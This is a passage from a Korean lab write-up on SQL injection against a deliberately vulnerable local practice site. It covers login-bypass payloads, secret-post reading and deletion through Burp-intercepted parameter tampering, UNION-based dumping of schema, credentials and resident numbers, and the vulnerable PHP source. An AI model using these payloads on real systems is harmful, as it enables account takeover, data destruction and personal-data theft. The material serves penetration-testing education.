→ id='admin'은 참, '1'='2' and password=' ' 는 거짓이다. OR 구문을 마지막에 해석하므로 결과적으로 참이다.

admin' or '1' = '2

실습2

ID를 알고 있는 경우, 터미네이팅 방식 사용

→ admin'#

→ select * from member where id='admin'#'and password=' ';

admin 계정으로 로그인 되었다.

admin'#

ID를 알고 있는 경우, 터미네이팅 방식 사용

→ admin'--

→ select * from member where id='admin'-- ' and password=' ';

→ select * from member where id='admin' -- ' and password=' ';

→ MySQL -- 주석 문자 사용 시, --(공백) or (공백)--(공백) 둘 중 하나로 사용하면 된다.

admin 계정으로 로그인 되었다.

admin'--

실습3

ID를 모를 경우, 인라인 방식 사용

→ ' or 1=1 or '1'='1

→ select * from member where id='' or 1=1 or '1'='1' and password=' ';

→ id='' or '1'='1' 은 참, '1'='1' and password=' ' 는 거짓이다. 마지막에 OR 구문으로 결과는 참이다.

→ ' or 1=1 or '1'='2

→ select * from member where id='' or 1=1 or '1'='2' and password=' ';

→ id='' or '1'='1' 은 참, '1'='2' and password=' ' 는 거짓이다. 마지막에 OR 구문으로 결과는 참이다.

ID를 입력하지 않은 상태에서 둘 다 admin 계정으로 로그인 되었다.

SQL 쿼리를 보면 member 테이블의 모든 레코드가 출력되어야 하지만, 현재 admin 계정만 존재하므로 admin 계정으로 로그인 된 것이다.

' or 1=1 or '1'='1

' or 1=1 or '1'='2

실습4

ID를 모를 경우, 터미네이팅 방식 사용

→ ' or 1=1#

→ select * from member where id='' or 1=1#' and password=' ';

→ or 1=1# 뒤의 문구는 무시

→ ' or 1=1--

→ select * from member where id='' or 1=1-- ' and password=' ';

→ or 1=1-- 뒤의 문구는 무시

→ MySQL -- 주석 문자 사용 시, --(공백) or (공백)--(공백) 둘 중 하나로 사용하면 된다.

ID를 입력하지 않은 상태에서 둘 다 admin 계정으로 로그인 되었다.

' or 1=1#

' or 1=1--

만약 테이블에 다른 계정이 존재한다면 어떤 계정으로 로그인 하게 될까?

CMD 창을 열고 mysql -u root -p 입력 후 test 를 입력하여 MySQL에 접속한다.

show databses; 입력하여 DB를 확인

use pentest; 입력하여 테이블 확인

select * from members; 입력하여 member 테이블 출력한다.

admin 계정만 존재하는 것을 확인할 수 있다.

members 테이블에서 계정 확인

이전 실습에서 select * from member where id='' or 1=1#' and password=' '; 입력한 것과,

select * from members where 1=1; 입력한 것이 동일한 결과를 나타내게 된다.

이를 통해 현재 admin 계정만 존재하기 때문에 id에 아무 값이 없어도 SQL 쿼리가 참이되면 admin 계정으로 로그인 된 것으로 알 수 있다.

만약 다른 계정을 추가하게 되면 어떤 계정으로 로그인 하게 될까?

test 계정 생성

test 계정을 생성 후 다시 ID에 계정을 입력하지 않고, 터미네이팅 방식 사용하여 SQL Injection을 시도한다.

ID에 ' or 1=1# 입력, Password에 임의의 문자 입력 후 로그인 하면 다시 admin 계정으로 로그인 하게 된다.

' or 1=1#

MyPage 눌러서 현재 로그인한 계정 정보 확인

다시 MySQL에서 select * from members where 1=1; 입력하여 members 테이블에서 계정 정보를 출력한다.

members 테이블에서 계정 정보 출력

계정 정보를 출력하면 idx=1에는 admin, idx=2에는 test 계정이 존재하는 것을 확인할 수 있다.

ID 정보를 알고 있는 경우 SQL Injection을 하면, ID를 admin으로 타겟팅한 상태로 시도하기 때문에 당연히 admin으로 로그인 되지만, ID를 모르는 상태로 SQL Inejction을 하면 모든 레코드가 참이된다.

실습에서 사용했던 SQL 쿼리를 동일하게 사용하여 레코드를 출력한다.

select * from members where idx='' or 1=1 or '1'='1' and password='';

admin과 test 계정이 출력되는 것을 확인되며, 최상단 레코드 계정이 admin인 것이 확인된다.

근데 왜 admin으로만 로그인 될까?

실습 SQL 쿼리로 members 테이블에서 계정 정보 출력

좀 더 자세히 분석하기 위해 소스코드를 확인한다. (login.php 열기)

파일 위치: C:\APM_Setup\htdocs\insecure_website

< login.php 소스코드 일부>

<?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION["id"])) {
    echo "<script>location.href='index.php';</script>";
    exit();
  }

  $id = $_POST["id"];
  $password = $_POST["password"];
  
  if(!empty($id) && !empty($password)) {
    $password = md5($password);
    $query = "select * from members where id='{$id}' and password='{$password}'";
    $result = $db_conn->query($query);
    $num = $result->num_rows;

    if($num != 0) {
      $row = $result->fetch_assoc();
      $_SESSION["id"] = $row["id"];
      $_SESSION["name"] = $row["name"];
      echo "<script>location.href='index.php';</script>";
    } else {
      echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
      exit();
    }
  }
?>

$row = $result->fetch_assoc();

$_SESSION["id"] = $row["id"];

$_SESSION["name"] = $row["name"];

num_rows() - 레코드 개수를 반환
fetch_assoc() - 반환된 결과를 배열에 저장

소스코드를 보면 fetch_assoc()로 결과를 받아온 후 row에 저장한다.

→ 최상위 레코드(admin)를 받아서 각 SESSION 값에 넣는다.

그러므로 아래 쿼리가 수행되면 최상위 레코드에 있는 계정으로 로그인 된다는 의미이다.

select * from members where idx='' or 1=1 or '1'='1' and password='';

만약 test가 상위 레코드에 있는 경우, admin이 아닌 test 계정으로 로그인 된다.

delete from members;

→ members 테이블 삭제한다.

members 테이블 삭제

test 계정을 먼저 생성 후, admin 계정을 생성한다.

test 계정 생성

admin 계정 생성

MySQL에서 확인 시 2개 계정 모두 생성된 것을 확인할 수 있다.

select * from members;

member 테이블 조회

select * from members where idx='' or 1=1 or '1'='1' and password=''; 입력 시 test 계정이 최상위에 있는 것을 확인할 수 있다.

SQL Injection 쿼리로 조회

로그인 페이지에서 SQL 쿼리를 실행한다.

ID에 ' or 1=1 or '1'='1 입력, Password에 임의의 문자열 입력 후 로그인 한다.

' or 1=1 or '1'='1

로그인 후 MyPage를 확인하면 test 계정으로 접속된 것을 확인할 수 있다.

test 계정 로그인 후 MyPage

ID 칸에는 SQL Injection이 발생하지만, Password 칸에는 취약점이 발생하지 않는 이유는 Password가 MD5 해시함수를 적용하여 암호화 되었기 때문이다. → $password = md5($password);

그러므로 비밀번호에 싱글쿼터를 삽입해도 MD5 해시값으로 바뀌게되므로 SQL Injection 이 발생하지 않는다.

해시함수가 적용된 패스워드

실습2-3 인증 우회 공격을 통한 비밀글 무단 열람 실습

admin 관리자 계정으로 로그인 후 비밀글을 작성한다.

비밀글 작성 후 인증 우회 공격을 통해서 타 사용자가 해당 게시글을 열람해본다.

먼저 admin 계정으로 로그인 후 비밀글을 작성한다.

비밀글 작성

비밀글

admin 계정 로그아웃 후 비밀글 열람을 시도한다.

비밀글을 열람하려면 작성자가 설정한 비밀번호를 알아야하는데, 이때 비밀글의 Password 칸에 SQL Injection을 시도해본다.

Injection을 시도하기 전에 Server Side에 SQL 구문이 어떻게 형성되어 있는지 생각해본다.

select * from board where idx='' and password=''; 이렇게 작성되어 있을것으로 예상된다.

만약 password가 md5가 적용이 안되어 있는 상태라면 password 칸에 터미네이팅 방식으로 ' or 1=1# 을 입력하면 비밀글 열람이 가능하다. (해시함수를 어플리케이션단에서 적용하면 공격이 불가능하다.)

비밀글 열람 성공

Server Side에 설정된 예상 쿼리

→ select * from member where idx='' and password='';

password 칸에 입력한 SQL Injection 구문

→ ' or 1=1#

→ ' or 1=1 --

→ ' or 1=1 or '1'='1

하지만 현재 비밀글 열람이 가능한 이유는 전체 게시글 중에 비밀글만 있기 때문이다.

select * from board where idx=5 and password='' or 1=1#';

→ idx 값과 상관없이 참이 되므로 모든 게시글이 조회된다.

→ 비밀글이 최상위 레코드에 존재할 때만 비밀글 열람이 가능하다.

만약 다수의 게시글이 존재한다면 비밀글 열람을 어떻게 해야 할까?

비밀글이 최상위 게시글이 아닌 다른 일반 게시글이 여러 개 있으면 어떻게 비밀글 열람을 할까?

먼저 다른 일반 게시글 생성 후 비밀 게시글을 생성한다.

이때 일반 게시글이 최상위 레코드에 존재하게 된다.

기존처럼 비밀 게시글 password칸에 SQL Injection 쿼리 ' or 1=1# 을 입력하니 일반 게시글로 열람되는 것을 확인할 수 있다.

최상위 레코드에 비밀글이 아닌 일반 게시글이 존재하므로 비밀글의 Password 칸에 SQL Injection을 해도 일반 게시글이 열람된다.

소스코드를 확인하기 위해 view.php를 연다

파일 위치: C:\APM_Setup\htdocs\insecure_website

< view.php 소스코드 일부)

<?
	$db_conn = mysql_conn();
	$idx = $_REQUEST["idx"];
	$password = $_POST["password"];

	if(empty($password)) {
		$query = "select * from {$tb_name} where idx={$idx} and secret='n'";
	} else {
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
	}
	
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>
    <div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
		<h1 class="display-4">View Page</h1>
    	<hr>
    </div>
    
    <div class="container">
	<?
	if($num != 0) {
		$row = $result->fetch_assoc();
	?>

num_rows() - 레코드 개수를 반환

fetch_assoc() - 반환된 결과를 배열에 저장

소스코드를 보면 select * from {$tb_name} where idx={$idx} and password='{$password}' 로 확인되며, 이전에 추측한 select * from board where idx='' and password=''; 와 유사하다는 것을 알 수 있다.

SQL 쿼리가 실행이 된 후 최상위 레코드가 반환이 되는 것을 확인할 수 있다. → $row = $result->fetch_assoc();

MySQL에서 SQL Injection 시 작성한 쿼리를 SQL 구문으로 조회 하면 아래와 같이 전체 레코드가 조회되며, idx가 6인 일반게시글이 최상위 레코드인 것을 알 수 있다.

→ select * from insecure_board where idx=7 and password='' or 1=1#';

SQL Injection 공격을 할 때 비밀게시글이 항상 최상위 레코드에 있다는 보장이 없으므로, 비밀 게시글로 타겟을 정해서 열람해야 한다.

어떻게 비밀 게시글을 타겟을 정해서 열람 할 수 있을까?

→ 웹 사이트의 idx 파라미터와 DB에서 idx 컬럼이 동일하다는 것을 유추해서 웹 사이트의 idx 값을 조작한다.

' or idx=7 and 1=1# 또는 ' or idx=7 and '1'='1 으로 SQL Injection 구문을 변경해서 비밀게시글 Password 칸에 입력한다.

변경된 SQL Injection 구문은 DB에 다음과 같은 SQL 쿼리로 질의하게 된다.

select * from insecure_board where idx=7 and password=''or idx=7 and 1=1#';

select * from insecure_board where idx=7 and password=''or idx=7 and '1'='1';

→ idx=7 and password='' 는 거짓이 되며, or idx=7 and 1=1#은 참이 되므로 idx=7을 타겟팅한 게시글을 열람하게된다.

→ ' or idx=7 or 1=1# 을 하게되면, idx가 7이 아니여도 모든 레코드가 출력되므로 최상위 레코드인 일반게시글이 열람된다. 그러므로 AND 조건으로 idx=7 로 타게팅해서 SQL Injecition 을 시도해야 한다.

MySQL에서 OR 구문 사용하여 SQL 쿼리로 조회 시 모든 게시글이 조회된다.

MySQL에서 AND 구문을 사용하여 SQL 쿼리로 조회 시 다음과 같이 idx=7 게시글이 조회된다.

select * from insecure_board where idx=7 and password=''or idx=7#';

좀 더 간단히 SQL Injection 구문을 사용한다면 ' or idx=7# 을 입력하여 터미네이팅 방식을 사용한다.

MySQL 에서 조회 시 idx가 7인 게시글이 출력된다.

무조건 참을 만들어서 인증 우회를 하는 것이 아닌, 목표로 하는 게시글을 열람하기 위해서 SQL Injection 쿼리를 어떻게 작성해야 하며, Server Side 에서는 어떤식으로 코드가 작성되어 있는지 고민해볼 필요가 있다.

실습2-4 인증 우회 공격을 통한 게시글 무단 삭제 실습

test 계정으로 insecure_website 로그인하여 다른 계정으로 작성한 게시글을 삭제 해본다.

test 게시글을 먼저 작성한다.

다른 계정으로 작성한 게시글은 클릭했을 때 Modify(수정)와 Delete(삭제) 버튼이 없지만, test 계정으로 작성한 계정에서는 확인할 수 있다. 이를 통해 Modify 와 Delete 버튼을 클릭했을때의 액션을 확인하고 다른 게시글에도 똑같이 적용하면 될 것 같다.

test 게시글의 Delete 버튼을 클릭하면 Password를 입력하는 칸이 나온다.

이를 통해 게시글에 등록된 비밀번호를 입력해서 게시글을 삭제하는 매커니즘이라는 것을 알 수 있다.

상단 URL을 보면 delete&idx=8이 확인되는데, 이를 통해 다른 게시글 삭제 시 어떤 쿼리를 작성해야하는지 유추가 가능하다.

버프스위트를 켜고 게시글 삭제가 어떻게 이루어지는 확인해본다.

Password 에 아무 문자를 입력하고 버프스위트에서 Intercept On을 하고 Auth 를 클릭하여 삭제 요청을 한다.

버프스위트에서 ctrl + R을 입력하여 리피터로 보낸다.

리피터에서 확인하면 password와 idx가 확인되는데, 이때 삭제하고자 하는 idx를 변경해주고, password는 임의의 문자로 변경한다. 만약 해당 공격이 성공하게된다면 파라미터 변조 취약점으로 볼 수 있다.

비밀 게시글 삭제를 위해 idx를 7로 변경 후 Send(Ctrl + space)를 클릭하여 요청을 전송한다.

아래와 같이 패스워드가 일치하지 않는다는 문구가 확인되며 이를 통해 비밀번호 검증 로직이 존재하는것을 알 수 있다.

삭제 절차는 다음 두 가지로 유추할 수 있다.

1) 비밀번호 검증 후 해당 게시글 삭제 → 비밀번호 검증 로직 + 삭제 로직, 2개의 쿼리로 이루어져 있음

2) 비밀번호 검증 + 게시글 삭제 동시 진행 → 비밀번호 검증 로직과 삭제 로직이 1개 쿼리로 이루어져 있음

1번의 삭제 절차로 진행되는 경우 SQL 쿼리는 다음과 같이 유추할 수 있다.

select * from board where idx=7 and password ='';

delete from board where idx=7;

2번의 삭제 절차로 진행되는 경우 SQL 쿼리는 다음과 같이 유추할 수 있다.

delete from board where idx=7 and password='';

1번의 삭제 절차로 진행되는 경우 SQL Injection 쿼리는 다음과 같이 작성한다.

' or 1=1# 을 입력하여 터미네이팅 방식으로 참을 만드는 쿼리를 입력한다.

select * from board where idx=7 and password='' or 1=1#'

버프스위트 리피터에서 작성 시에는 '+or+1=1%23 으로 작성한다.

프록시에서 Server Side로 전송할 때는 URL 인코딩을 직접해줘야 하기 때문에 변경해서 작성해준다.

URL 인코딩은 여기를 참고한다.

ctrl + space(Send) 입력 후 서버로 해당 요청을 전송하면 다음과 같이 삭제된 것을 확인할 수 있다.

게시글을 보면 idx=7 게시글이 삭제된 것을 확인할 수 있다.

자세한 분석을 위해 소스코드를 확인한다. (action.php 열기)

파일위치: C:\APM_Setup\htdocs\insecure_website

< action.php 소스코드 일부 >

	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $_POST["password"];
		
		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

num_rows() - 레코드 개수를 반환

$idx와 $password 변수에 각 POST 요청으로 보낸 idx와 password 파라미터 값을 저장한다.

1번 삭제 절차와 동일한 비밀번호 검증 로직 이후 게시글을 삭제를 하기 때문에, 비밀번호 검증 쿼리를 참으로 만드는 SQL Injection 쿼리로 우회 후 게시글을 삭제하였다.

소스코드를 보면 select * from {$tb_name} where idx=7 and password='' or 1=1# ' 쿼리로 요청을 보내면, idx=7의 게시글이 아닌 게시글 전체가 출력되게 된다.

→ idx=7 and password='' 는 거짓이되고, ' or 1=1#은 참이되므로 idx 값과 상관없이 모든 게시글이 출력된다.

$num = $result->num_rows;

→ 쿼리에 의해 출력된 데이터를 반환받는 코드로, 모든 게시글이 출력되면 0을 초과하게된다.

→ $num 에 0을 초과하는 값이 저장된다.

if($num == 0)

→ 출력된 레코드가 0인 경우에만 패스워드가 일치하지 않는 코드이다. (출력된 레코드 여부 확인)

→ 모든 게시글을 출력하게되면, 출력된 레코드가 0을 초과하게 되어 비밀번호 검증 로직을 우회하는 현상이 발생하게 된다.

결국 전체 게시글이 출력되면 출력된 레코드가 0을 초과하기 때문에 비밀번호 검증 로직에서 비밀번호를 입력하지 않고도 우회하게된다. 이후 delete from {$tb_name} where idx={$idx}; 코드에 의해 기존에 입력했던 idx=7이 전달되어 idx가 7인 게시글이 삭제된다.

만약 비밀번호 검증 로직과 게시글 삭제 로직이 1개의 쿼리에 존재한다면 어떻게 될까?

기존의 비밀번호 검증 로직이 삭제되고 게시글 삭제 로직의 코드를 다음과 같이 수정한다고 가정한다.

delete from {$tb_name} where idx={$idx} and password={$password};

delete from board where idx=7 and password='' or 1=1#';

→ idx=7 and password='' 는 거짓이되고, ' or 1=1#은 참이되므로 idx 값과 상관없이 모든 게시글이 삭제된다.

그러므로 비밀번호 검증 로직과 게시글 삭제 로직을 1개의 쿼리에 적용한다면 굉장히 위험하다.

또한 실제 취약점 진단 시 운영중인 게시판에 영향이 있을 수 있으므로 게시글 수정 및 삭제와 관련된 SQL Injection은 지양해야 한다. (특히 where 절이 포함된 구문)

실습2-5 idx 파라미터가 취약할 경우 인증 우회 공격 방법

password 파라미터가 아닌 idx 파라미터가 취약한 경우 어떻게 인증 우회를 할 것인가?

idx 파라미터는 취약점이 자주 발생하는 경우가 많아 입력값 검증이 되어 있는 경우가 많다.

관리자 계정으로 로그인 후 비밀 게시글을 작성한다.

해당 비밀 게시글을 클릭 후 임의의 문자열을 Password 칸에 입력한다.

버프스위트를 켜고 Intercept On 후 게시글의 Auth를 클릭하여 요청을 전송한다.

서버에서 DB로 전송될 SQL 구문은 다음과 같이 추측이 가능하다.

select * from board where idx=9 and password='aa';

만약 idx 파라미터에 입력값 검증 취약점이 존재한다면, idx=9# 를 입력하면 뒤에 password 구문은 무시하게 되어 인증을 우회할 수 있다. 프록시에서 서버로 전송 시 URL 인코딩을 해야 하니 #을 %23으로 치환하여 입력한다.

idx=9# 입력하여 인증 우회

이번에는 test 계정으로 접속 후 test 게시글을 작성 후에 비밀 게시글 삭제를 시도한다.

test 게시글 작성

test 게시글 클릭 후 Delete 를 클릭하여 삭제를 시도한다.

idx 취약점을 활용하여 idx=10 을 idx=9#으로 변경하여 삭제를 시도한다.

버프스위트에서 Intercept On 후에 게시글의 Password 칸에 임의의 문자열을 입력 후 Auth를 클릭하여 요청을 가로챈다. 프록시에서 서버로 요청을 전송할 때는 URL 인코딩을 해야하므로 메시지 바디값에 idx=9%23 를 입력 후 Forward를 하게되면 비밀글이 삭제되는 것을 확인할 수 있다.

idx 및 password 파라미터가 취약할 수 있으니, 사용자 입력값이 들어가는 모든 파라미터에 입력값 검증 로직이 필요하다.

6) 데이터 조회 공격이란 무엇인가?

SQL 구문 삽입을 통해서 DB내의 데이터를 조회하는 공격으로 SQL Injection 공격 시에 가장 많이 사용되는 공격이다.

DB의 데이터를 조회하는 것이 왜 위험할까?

DB내 여러 정보가 저장되어 있는데, 중요하지 않은 정보도 있지만 여러 중요한 정보(고객 데이터, 계정 정보, 회사 내 기밀정보 등)가 저장되어 있다. 이런 중요 정보가 공격자에 의해 탈취되면 다양한 공격이 발생할 수 있다.

개인 정보를 탈취하여 판매할 수도 있으며, 계정 정보를 탈취하여 다른 사이트에 로그인을 시도하는 등 다양한 공격으로 활용 할 수 있다.

데이터 조회 공격

7) 데이터 조회 공격 기법 종류

데이터 조회 공격 기법 종류

Error-Based

→ DBMS 에러를 통해서 공격자가 의도하는 데이터를 조회하는 공격

- 어플리케이션 에러가 발생한다고 해서 Error-Based 공격이 가능한 것이 아니다.

- 핵심은 어플리케이션 에러가 발생하지 않더라도 DBMS 에러가 노출이 되어야 가능하다.

- 공격이 성립되려면 DBMS의 에러가 WAS를 거쳐서 클라이언트에게 전달되어야 성립된다. 만약 WAS의 에러만 클라이언트에 반환되면 공격이 성립되지 않는다. DBMS 에러 내에 공격자가 의도한 데이터를 담기 때문이다.

- 개발자가 디버깅 용도로 DBMS 에러를 사용하는 경우가 있다.

Blind-Based와 Union Based 공격은 빈번하게 발생하는 데이터 조회 공격이다.

Out-of-band

→ 대역 외 공격 기법으로, DBMS가 특정 IP(공격자가 지정한)로 HTTP, DNS 요청을 하는데, 요청 내에 공격자가 요청한 데이터가 담겨있다.

공격자가 의도한 데이터가 응답값에 실리는 공격을 In-band 공격이라 한다.

8) UNION-BASED 공격이란 무엇인가?

Union-Based 공격

SQL의 Union 구문을 사용하여 공격자가 의도한대로 데이터베이스가 반환하는 데이터를 변조하는 공격

Union 이란?

- 여러 쿼리문들을 합쳐서 하나의 쿼리문으로 만들어주는 방법

- 2개 이상의 SELECT 쿼리 결과를 하나로 연합시켜주는 집합 연산자

Union-Based 공격은 특성상 속도가 제일 빠르며, 주요 타겟은 게시판 목록의 검색 기능이다.

→ 특정 테이블에 대해 다수의 레코드가 반환되기 때문에

공격 속도는 다음과 같다.

Union-Based > Error-Based >>> Blind-Based

실습2-6 UNION-BASED 공격을 통한 중요 정보 탈취 실습

DB에서 웹 페이지로 데이터를 출력시키는 환경이 Union-Based 공격에 적합한 환경이다. (SQL Injection 취약점이 존재해야 한다.)

게시판 검색 기능에서 SQL Injection 유무를 확인해야 한다.

게시판 검색 기능을 SQL 쿼리로 다음과 같이 추측된다.

select * from board where title like '%검색어%';

검색창에 test%' and 1=1# 입력해본다.

서버에서 DB로 다음 SQL 쿼리를 사용하여 질의할 것으로 추측된다.

→ select * from insecure_board where title like '%test%' and 1=1#%';

test%' and 1=1# 을 입력하니 test 게시글이 검색된다. → 참

test%' and 1=2# 을 입력하면 검색되지 않는다. → 거짓

' and 1=1# 을 입력하면 전체 게시글이 검색된다. → 참

' and 1=2# 을 입력하면 게시글이 검색되지 않는다. → 거짓

select * from insecure_board whre title like '%' and 1=1#%';

연결 연산자를 사용하는 방법도 있다.

MySQL: 공백 → te' 'st

ORACLE: || → te'||'st

MSSQL: + → te'+'st

현재 사용하는 DB는 MySQL이므로 공백을 사용하여 test 문자열을 검색

te' 'st 를 입력하면 test 게시글이 검색된다. → 참

te'a'st 를 입력하면 게시글이 검색되지 않는다. → 거짓

select * from insercure_board where title like '%te' 'st%';

CMD 창을 열고 MySQL에서 똑같이 확인이 가능하다.

위와 같이 SQL 구문 입력을 통해 SQL Injection 취약점이 있는것을 확인할 수 있다.

Union-Based 공격에는 절차가 있다.

1) ORDER BY 구문을 통해 컬럼 개수 식별 → order by 구문 사용이 가능하면 union 구문 사용이 가능하다.

2) UNION 구문 사용 → union 사용을 위해서는 컬럼 개수, 데이터 타입이 동일해야한다. (ORACLE, MSSQL)

3) 출력 포지션 파악 → 각 컬럼의 데이터가 실제 웹 페이지 어느 항목에서 출력되는지 파악

첫번째로 order by 구문을 통해 컬럼 개수를 식별한다.

order by는 레코드를 정렬하는 구문으로 컬럼을 기준으로 정렬한다. (오름차순, 내림차순)

order by 1은 첫번째 컬럼을 기준으로 정렬한다는 의미이며, order by 2는 두번째 컬럼을 기준으로 정렬한다는 의미이다. 이때 존재하지 않는 컬럼에 대해서는 당연히 거짓으로 결과가 출력되지 않는 점을 이용하여 SQL Injection을 진행한다.

게시글 검색창에 ' order by 1# 입력하면 test 게시글이 검색된다.

' order by 10# 입력 시 검색되지 않는다. → 존재하지 않은 컬럼에 대한 정렬로 에러발생

' order by 9# 입력 시 test 게시글이 검색된다. → 아홉번째 컬럼이 존재하므로 결과가 출력됨

이를 통해 컬럼 개수가 9개인 것을 알 수 있다.

select * from insecure_board where title like '%' order by 9#%';

두번째로 UNION 구문을 사용하여 컬럼을 출력한다.

union 사용을 위해서는 컬럼 개수와 데이터 타입이 동일해야하는데, 여기서 데이터 타입이란 상위 select 절과 하위 select절의 데이터 타입을 의미한다.

select 1, 'test' union select 2, 'apple'

→ 첫번째는 숫자형(INT), 두번째는 문자형(CHAR)으로 동일한 데이터 타입을 가진 경우에만 사용 가능하다.

→ MySQL은 데이터 타입이 동일하지 않아도 상관없다. MSSQL 및 ORACLE은 데이터 타입 일치시켜야함.

' union select null,null,null,null,null,null,null,null,null#

→ 여기서 사용한 null 은 데이터 타입에 영향을 받지 않는 아무 값이 없는 자료형을 의미한다.

MySQL에서 동일하게 검색하면 다음과 같은 결과를 확인할 수 있다.

select * from insecure_board union select null,null,null,null,null,null,null,null,null#;

→ insecure_board 와 null 값을 가진 9개 컬럼 출력

' union select null,null,null,null,null,null,null,null#

→ null 값을 컬럼 개수와 다르게 8개만 입력 후 검색하게 되면 아무 게시글도 검색되지 않는다.

→ DBMS 에러가 발생해야 하지만 웹 페이지에서 출력되지 않도록 설정한것 같다.

MySQL 에서 null 개수를 8개로 검색하니 컬럼 개수가 일치하지 않는다는 에러가 발생한다.

세번째로 출력 포지션을 파악한다.

' union select 'test',null,null,null,null,null,null,null,null#

' union select null,'test',null,null,null,null,null,null,null#

' union select null,null,'test',null,null,null,null,null,null#

취약점 진단 시, 이런식으로 null 값에 순차적으로 문자열을 입력해서 시도한다. (각 컬럼의 데이터 타입을 확인하기 위해)

MySQL은 데이터 타입에 영향을 받지 않으므로 어느 포지션이든 문자열을 입력하면 출력이 가능하다.

' union select 'test','test',null,null,null,null,null,null,null# 입력하여 첫번째와 두번째 컬럼이 어느 위치에서 출력되는지 확인한다.

웹 페이지 insecure_board 테이블의 1번과 2번 컬럼이 No와 Title 인 것을 확인할 수 있다.

현재는 게시판에 게시글 개수가 적어 이렇게 확인해도 되지만, 실제 취약점 진단 시 게시글이 여러 개가 존재하는 경우 게시글을 쉽게 식별하기 어려울 것이다.

공격을 효율적으로 하기 위해 상위 select 절을 거짓으로 하여 레코드 출력을 방지한다.

' and 1=2 union select 'test','test',null,null,null,null,null,null,null# 를 입력한다.

select * from insecure_board where title like '%' and 1=2 union select 'test','test',null,null,null,null,null,null,null#%';

' and 1=2 union select 'test','test',null,null,'test',null,null,null,null# 를 입력하여 웹 페이지에서 No, Title, Write 부분에 test 가 출력되는 것을 확인할 수 있다. 이를 통해 1,2,5 번 컬럼이 No, Title, Write인 것을 확인할 수 있다.

이 부분을 활용하여 웹 페이지 상에서 컬럼 데이터의 출력 위치를 확인하여 이 3개 파라미터를 공격 포인트로 잡는다.

select * from insecure_board where title like '%' and 1=2 union select 'test','test',null,null,'test',null,null,null,null#%';

출력 포인트를 확인 후 필요한 데이터를 조회한다.

데이터 조회 공격 프로세스 - 모든 데이터 조회 공격 기법이 동일하다.

1) 기본 정보 목록화 - 버전, 사용자, 현재 데이터베이스명

2) 메타 데이터 목록화 - 데이터베이스, 테이블, 컬럼 → 데이터 사전(Data Dictionary)을 사용

3) 데이터 목록화

step 1) 기본 정보 목록화

system_user() → MySQL 연결에 대한 현재 사용자 이름과 호스트 이름을 반환

version() → MySQL 버전 정보 반환

database() → 현재 데이터베이스명 반환

' and 1=2 union select system_user(),version(),null,null,database(),null,null,null,null# 을 입력한다.

사용자 이름, MySQL 버전정보, 현재 데이터베이스명이 출력된다.

step 2) 메타 데이터 목록화

메타 데이터는 데이터에 대한 정보, 자료의 속성을 의미한다.

schemata는 전체 DB에 대한 정보를 가지고 있다.

information_schema 관련 정보는 블로그1, 블로그2 를 참고한다.

MySQL: information_schema.schemata, information_schema.tables, information_schema.columns

MSSQL: master.sys.databses, [db].sys.objects, [db].sys.columns

ORACLE: all_tables, all_tab_columns

information_schema.schemata → 어떤 데이터베이스가 있는지

information_schema.tables → 어떤 테이블이 있는지

information_schema.columns → 어떤 컬럼이 있는지

schema_name → information_schema.schemata 에서 데이터베이스명을 가지고 있는 컬럼

table_schema → information_schema.tables 에서 데이터베이스명을 가지고 있는 컬럼

table_name → 테이블명

column_name → 컬럼명

데이터베이스 목록화를 진행한다. (전체 DB 목록 확인)

' and 1=2 union select null,schema_name,null,null,null,null,null,null,null from information_schema.schemata# 을 입력한다.

→ show database; 와 동일한 결과가 나온다.

→ schema_name은 DB의 이름을 가지고 있는 컬럼이다.

→ MySQL에 어떤 데이터베이스가 있는지 출력

어떤 데이터베이스를 가지고 있는지 출력

출력된 데이터베이스 목록 확인 시 아까 SQL Injection 공격을 통해 출력된 pentest 가 확인된다.

테이블 목록화를 진행한다. (특정 DB의 테이블을 목록화)

' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables# 을 입력하게 되면 pentest 를 포함한 모든 데이터베이스의 테이블이 출력된다. 그러므로 WHERE 절을 사용하여 특정 데이터베이스를 지정하여 테이블 목록을 출력한다.

' and 1=2 union select null,table_name,null,null,null,null,null,null,null from information_schema.tables where table_schema='pentest'# 을 입력하면 pentest 데이터베이스의 테이블 목록을 확인할 수 있다.

pentest 데이터베이스의 테이블 출력

컬럼 목록화를 진행한다. (특정 테이블의 컬럼을 목록화)

customer_info 는 고객정보를 저장한 테이블이다.

' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='customer_info'# 을 입력하면 pentest 데이터베이스 내 customer_info 테이블의 컬럼 목록을 확인할 수 있다.

customer_info 테이블의 컬럼 출력

step 3) 데이터 목록화

특정 컬럼의 데이터를 확인하기 위해 데이터 목록화를 진행한다.

테이블: customer_info

' and 1=2 union select id,password,null,null,jumin,null,null,null,null from customer_info# 을 입력하면 ID, Password, 주민등록번호가 출력되는 것을 확인할 수 있다.

customer_info 테이블 내 컬럼 데이터 출력

이번에는 members 테이블의 컬럼을 확인해본다.

' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='members'# 을 입력하면 pentest 데이터베이스 내 members 테이블의 컬럼 목록을 확인할 수 있다.

members 테이블 내 컬럼 출력

members 테이블 컬럼 내 데이터를 확인해본다.

' and 1=2 union select id,password,null,null,name,null,null,email,null from members# 을 입력한다.

members 테이블에 존재하는 ID, Password, 이름, 이메일을 확인할 수 있다.

members 테이블 내 컬럼 데이터 출력

members는 웹 페이지 회원가입 시 생성했던 계정 정보가 있는 테이블로 이전에 생성했던 admin과 test 계정을 확인할 수 있으며, 비밀번호는 MD5 해시함수에 의해 암호화 되어 있는 것으로 보인다.

실습2-7 UNION-BASED 공격을 통한 로컬 파일 무단 열람 실습

로컬 파일이란? - DBMS 내 파일

현재 WAS와 DBMS는 물리적으로 동일 선상에 있는 서버(PC)이다.

